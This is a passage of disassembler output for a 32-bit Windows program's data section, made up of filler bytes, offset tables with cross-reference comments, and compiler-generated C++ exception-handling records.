'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 align 4 dd 3E3h dup(0) off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo off_43E004 dd offset dword_4367D0 ; DATA XREF: sub_403C70+2o off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o ; sub_409B40+Bo ... off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o ; sub_40AE10+1Co dd offset dword_4367D0 align 10h off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o ; sub_40B170+1Eo flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o ; sub_40FDA0+1Do dd offset sub_40212B dd 0 off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o ; sub_40FDA0+23o off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o ; sub_411910+1Do dd offset loc_401FE6 dd 0 off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do ; sub_413220+1Fo dd offset sub_401CF8 align 10h off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o ; sub_417DF0+8o dd offset sub_4020A9 dd 0 off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o ; sub_417E20+8o dd offset sub_401230 align 8 off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o dd offset sub_401CDF dd 0 off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o ; sub_4190B0+36o off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Fh, 40h, 0 off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r dd 0 off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo ; sub_41A110+6o off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o ; ___:0041B48Do dd offset sub_40167C align 10h off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o ; sub_41D760+1Do dd offset sub_401C80 dd 0 off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o dd offset sub_401A64 dd offset sub_401A41 dd 0 off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao ; sub_426560+1Do dd offset sub_401A64 dd offset dword_4367D0 dd 0 off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o dd offset sub_401A64 dd offset sub_401366 dd 0 off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o dd offset sub_401A64 dd offset sub_401E92 dd 0 off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o dd offset sub_401A64 dd offset sub_401A05 dd 0 off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o dd offset sub_4021A8 dd offset sub_4015AF dd 0 off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao ; sub_427EF0+1Do dd offset sub_4021A8 dd offset dword_4367D0 dd 0 off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo ; sub_428250+10o dd offset sub_4021A8 dd offset sub_401D2A dd 0 off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o ; sub_429A60+9o dd offset sub_4021A8 dd offset sub_40137A dd 0 off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o dd offset sub_4021A8 dd offset sub_4010AF dd 0 off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o dd offset sub_4021A8 dd offset sub_40188E dd 0 off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o dword_43E190 dd 0 dd 8, 0 off_43E19C dd offset dword_4367D0 ; DATA XREF: sub_42B240+39o off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o dd offset sub_4021A8 dd offset sub_40134D align 10h off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o dd offset sub_4021A8 dd offset sub_40152D align 10h dd offset loc_4015F0 dd offset sub_4021A8 dd offset sub_4019E2 align 10h dd offset dword_43E348 off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:00436808o ; ___:off_4438C0o ... dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0) off_43E318 dd offset off_446CE0 ; DATA XREF: ___:0043E330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E318 dd 0 db 0 ; DATA XREF: ___:0043E358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43E330h dword_43E348 dd 3 dup(0) dd offset off_446CE0 dd offset unk_43E338 dd 45h dup(0) dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0 dd offset dword_436FD0+0B30h dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0) dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0 dd offset loc_437B7B dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0) dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0) dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0 dd offset loc_437FC8 dd 2 dup(0) dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0 dd offset loc_437FF8 align 10h dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0) dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0 dd offset loc_438048 dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh dd 2 dup(0) dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0 dd offset loc_4380C8 dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh dd 2 dup(0) dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0) dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0 dd offset loc_438208 dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0) dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0 dd offset loc_43828B dd 0 dd offset loc_438296 dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0) dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0 dd offset loc_438530 align 10h dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0 dd offset loc_438570 dd 2 dup(0) dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0 dd offset loc_4385BB dd 0 dd offset loc_4385C6 dd 2 dup(0) dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0) dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0) dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0 dd offset loc_438638 align 10h dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0 dd offset loc_43865B dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0) dd offset off_4438C0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 436800h, 2 dup(0) dd offset off_4438E0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C2Ah, 2 dup(0) dd offset off_443908 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C30h, 0 dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o dd offset dword_436BD4+62h dd 0 dd offset dword_43F068 dd 2 dup(0) dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0) dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0) dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0 dd offset loc_438A87 dd 1, 438A8Fh, 2 dup(0) dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0) dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F1B0h, 4 dup(0) dd offset sub_40AE52 dd 2 dup(0) dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F210h, 4 dup(0) dd offset sub_40AFD1 dd 2 dup(0) dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0 dd offset loc_438AFB dd 1, 438B06h, 2, 438B11h, 2 dup(0) dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0 dd offset loc_438B4B dd 1, 438B56h, 2, 438B61h, 2 dup(0) dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh dd 438BA0h, 2 dup(0) dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0 dd offset loc_438BC8 dd 1, 438BD0h, 2 dup(0) dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0) dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh dd 438C20h, 2, 438C28h, 2 dup(0) dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0) dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0 dd offset loc_438C7B dd 0 dd offset loc_438C86 dd 2, 438C91h, 2 dup(0) dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0) dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0 dd offset loc_438CEB dd 0 dd offset loc_438CF6 dd 0 dd offset loc_438D01 dd 0 dd offset loc_438D0C dd 2 dup(0) dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0 dd offset loc_438D4B align 10h dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0 dd offset loc_438D7B dd 2 dup(0) dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0) dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0 dd offset loc_438DEB dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h dd 1, 438E2Dh, 4 dup(0) dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh dd 438EE4h, 4 dup(0) dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0 dd offset loc_438F28 dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0) dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0 dd offset loc_438F78 dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0) dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0 dd offset loc_438FC8 dd 1, 438FD0h, 2 dup(0) dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0) dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0 dd offset loc_439018 dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0) dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0 dd offset loc_439078 dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h dd 4391E5h, 8 dup(0) dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0 dd offset loc_439268 dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh dd 439323h, 0Fh, 439331h, 4 dup(0) dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_43939B dd 1, 4393A6h, 0 dd offset loc_4393B1 dd 0 dd offset loc_4393BC dd 0 dd offset loc_4393C7 dd 0 dd offset loc_4393D2 